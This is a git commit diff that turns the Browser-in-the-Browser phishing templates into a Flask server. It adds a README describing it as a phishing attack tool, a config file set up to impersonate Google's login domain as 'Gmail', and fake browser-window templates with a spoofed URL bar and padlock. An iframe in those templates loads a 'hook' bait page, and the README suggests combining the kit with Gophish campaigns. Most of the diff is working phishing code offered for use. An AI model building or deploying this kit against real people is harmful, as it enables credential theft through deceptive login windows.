feat: flask app for BITB

.vscode/settings.json

@@ -0,0 +1,3 @@
+{
+    "vscode-corda.isCordaProject": false
+}

README.md

@@ -1,27 +1,47 @@
-# BITB
-Browser templates for Browser In The Browser (BITB) attack.
+# BITB Server
+
+Flask application for Browser In The Browser (BITB) attack.
+
+It's a Fork of https://github.com/mrd0x/BITB
 
 More information: https://mrd0x.com/browser-in-the-browser-phishing-attack/ 
 
+
+# Requirements
+pip3 install -r requirements.txt
+
 # Usage
 
-Each folder has a `index.html` file which has 4 variables that must be modified:
+phishing.ini file has 4 variables that must be modified:
 
-* **XX-TITLE-XX** - The title that shows up for the page (e.g. Sign in to your account now)
-* **XX-DOMAIN-NAME-XX** - Domain name you're masquerading as. (e.g. gmail.com)
-* **XX-DOMAIN-PATH-XX** - Domain path (e.g. /auth/google/login)
-* **XX-PHISHING-LINK-XX** - Phishing link which will be embedded into the iFrame (e.g. https://example.com)
+* **PHISHING_TITLE** - The title that shows up for the page (e.g. Sign in to your account now)
+* **DOMAIN_NAME** - Domain name you're masquerading as. (e.g. gmail.com)
+* **DOMAIN_PATH** - Domain path (e.g. /auth/google/login)
+* **BITB_TEMPLATE** * - Look alike browser template name (e.g. Windows-DarkMode-Delay)
 
-Furthermore, if you're using a Windows template you should update the `logo.svg` which is the icon of the website you're masquerading as. The default logo is Microsoft.
+DOMAIN_NAME = https://gmail.com
+DOMAIN_PATH = /login
+PHISHING_TITLE = Gmail
+BITB_TEMPLATE = Windows-DarkMode-Delay
 
+# Run the Flask app
 
-# Windows-DarkMode-Delay
+```bash
 
-The Windows-DarkMode-Delay folder makes use of jQuery's fadeIn() function to add a slight delay to the pop-up window as it appears. This is only one way of making the Window appear in a delayed fashion, there's various other ways to do the same.
+cd bitb_server
+python3 main.py
 
-# Demo
+```
 
-![Demo](https://github.com/mrd0x/BITB/blob/main/demo.gif)
+Open the browser and go to http://localhost:5000/test and you see a live test page. 
+
+Furthermore, if you're using a Windows template you should update the `logo.svg` which is the icon of the website you're masquerading as. The default logo is Microsoft.
+# Integration
+
+You can use this with https://getgophish.com/ leverage your campaings
+# Windows-DarkMode-Delay
+
+The Windows-DarkMode-Delay folder makes use of jQuery's fadeIn() function to add a slight delay to the pop-up window as it appears. This is only one way of making the Window appear in a delayed fashion, there's various other ways to do the same.
 
 # Detecting Color Preference
 

bitb_server/app.py

@@ -0,0 +1,4 @@
+from flask import Flask
+
+app = Flask(__name__, static_url_path="/static", static_folder="static")
+app.config.from_object("config.DevelopmentConfig")

bitb_server/config.py

@@ -0,0 +1,6 @@
+class Config(object):
+    DEBUG = False
+    TESTING = False
+
+class DevelopmentConfig(Config):
+    DEBUG = True

bitb_server/main.py

@@ -0,0 +1,5 @@
+from app import app
+from views import *
+
+if __name__ == "__main__":
+    app.run()

bitb_server/phishing.ini

@@ -0,0 +1,5 @@
+[phishing]
+DOMAIN_NAME = https://accounts.google.com
+DOMAIN_PATH = /login
+PHISHING_TITLE = Gmail
+BITB_TEMPLATE = Windows-DarkMode-Delay

bitb_server/requirements.txt

@@ -0,0 +1 @@
+Flask==1.1.1

bitb_server/static/common/js/styles.css

@@ -0,0 +1,3 @@
+body {
+    background-color: black;
+}

bitb_server/static/css/styles.css

@@ -0,0 +1,3 @@
+body {
+    background-color: black;
+}

bitb_server/static/phishing/MacOS-Chrome-DarkMode/script.js

@@ -0,0 +1,60 @@
+var titleBar = document.getElementById("title-bar");
+var exit = document.getElementById("exit");
+var max = document.getElementById("maximize");
+var min = document.getElementById("minimize");
+
+titleBar.addEventListener('mouseover', function handleMouseOver() {
+  titleBar.style.cursor = 'context-menu';
+});
+
+titleBar.addEventListener('mouseout', function handleMouseOver() {
+  titleBar.style.cursor = 'default';
+});
+
+//////////////// Make window draggable start ////////////////
+// Make the DIV element draggable:
+var draggable = $('#window');
+var title = $('#title-bar');
+
+title.on('mousedown', function(e){
+	var dr = $(draggable).addClass("drag");
+	height = dr.outerHeight();
+	width = dr.outerWidth();
+	ypos = dr.offset().top + height - e.pageY,
+	xpos = dr.offset().left + width - e.pageX;
+	$(document.body).on('mousemove', function(e){
+		var itop = e.pageY + ypos - height;
+		var ileft = e.pageX + xpos - width;
+		if(dr.hasClass("drag")){
+			dr.offset({top: itop,left: ileft});
+		}
+	}).on('mouseup', function(e){
+			dr.removeClass("drag");
+	});
+});
+//////////////// Make window draggable end ////////////////
+
+
+////////////////// Onclick listeners //////////////////
+// X button functionality
+$("#exit").click(function(){
+    $("#window").css("display", "none");
+  });
+
+// Maximize button functionality
+$("#maximize").click(enlarge);
+
+function enlarge(){
+  if(max.classList.contains("enlarged")){
+    $("#window").css("width", "40%");
+    $("#title-bar-width").css('width', '100%').css('width', '+=2px');
+    $("#content").css("width", "100%");
+    $("#maximize").removeClass("enlarged");
+  }
+  else{
+    $("#window").css("width", "70%");
+    $("#title-bar-width").css('width', '100%').css('width', '+=2px');
+    $("#content").css("width", "100%");
+    $("#maximize").addClass("enlarged");
+  }
+}

bitb_server/static/phishing/MacOS-Chrome-LightMode/script.js

@@ -0,0 +1,60 @@
+var titleBar = document.getElementById("title-bar");
+var exit = document.getElementById("exit");
+var max = document.getElementById("maximize");
+var min = document.getElementById("minimize");
+
+titleBar.addEventListener('mouseover', function handleMouseOver() {
+  titleBar.style.cursor = 'context-menu';
+});
+
+titleBar.addEventListener('mouseout', function handleMouseOver() {
+  titleBar.style.cursor = 'default';
+});
+
+//////////////// Make window draggable start ////////////////
+// Make the DIV element draggable:
+var draggable = $('#window');
+var title = $('#title-bar');
+
+title.on('mousedown', function(e){
+	var dr = $(draggable).addClass("drag");
+	height = dr.outerHeight();
+	width = dr.outerWidth();
+	ypos = dr.offset().top + height - e.pageY,
+	xpos = dr.offset().left + width - e.pageX;
+	$(document.body).on('mousemove', function(e){
+		var itop = e.pageY + ypos - height;
+		var ileft = e.pageX + xpos - width;
+		if(dr.hasClass("drag")){
+			dr.offset({top: itop,left: ileft});
+		}
+	}).on('mouseup', function(e){
+			dr.removeClass("drag");
+	});
+});
+//////////////// Make window draggable end ////////////////
+
+
+////////////////// Onclick listeners //////////////////
+// X button functionality
+$("#exit").click(function(){
+    $("#window").css("display", "none");
+  });
+
+// Maximize button functionality
+$("#maximize").click(enlarge);
+
+function enlarge(){
+  if(max.classList.contains("enlarged")){
+    $("#window").css("width", "40%");
+    $("#title-bar-width").css('width', '100%').css('width', '+=2px');
+    $("#content").css("width", "100%");
+    $("#maximize").removeClass("enlarged");
+  }
+  else{
+    $("#window").css("width", "70%");
+    $("#title-bar-width").css('width', '100%').css('width', '+=2px');
+    $("#content").css("width", "100%");
+    $("#maximize").addClass("enlarged");
+  }
+}

bitb_server/templates/hook/index.html

@@ -0,0 +1,13 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta http-equiv="X-UA-Compatible" content="IE=edge">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>Hook</title>
+</head>
+<body>
+<h1>Hook</h1>
+<p>Insert your bait here</p>
+</body>
+</html>

MacOS-Chrome-DarkMode/index.html → bitb_server/templates/phishing/MacOS-Chrome-DarkMode/index.html

@@ -3,7 +3,7 @@
 <head>
 	<meta charset="utf-8">
 	<meta name="viewport" content="width=device-width, initial-scale=1">
-	<link rel="stylesheet" href="style.css">
+	<link rel="stylesheet" href="{{ url_for('static', filename='phishing/') }}{{ template_static_dir }}/style.css">
 	<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
 </head>
 <body>
@@ -17,18 +17,18 @@
 	     <div id="maximize" class="dot green"></div>
 	    </span>
 
-	     <span id="logo-description">XX-TITLE-XX</span>
+	     <span id="logo-description">{{ phishing_title }}</span>
 	</div>
 	<div id="url-bar">
-		<img src="./ssl.svg" width="20px" height="20px" id="ssl-padlock">
-		<span id="domain-name">XX-DOMAIN-NAME-XX</span>
-		<span id="domain-path">XX-DOMAIN-PATH-XX</span>
+		<img src="{{ url_for('static', filename='phishing/') }}{{ template_static_dir }}/ssl.svg" width="20px" height="20px" id="ssl-padlock">
+		<span id="domain-name">{{ domain_name }}</span>
+		<span id="domain-path">{{ domain_path }}</span>
 	</div>
 </div>
 <!-- Content start -->
-<iframe id="content" src="XX-PHISHING-LINK-XX" frameBorder="0"></iframe>
+<iframe id="content" src="{{ hook_link }}" frameBorder="0"></iframe>
 </div>
 </body>
-<script src="script.js"></script>
+<script src="{{ url_for('static', filename='common/js/script.js') }}"></script>
 </html>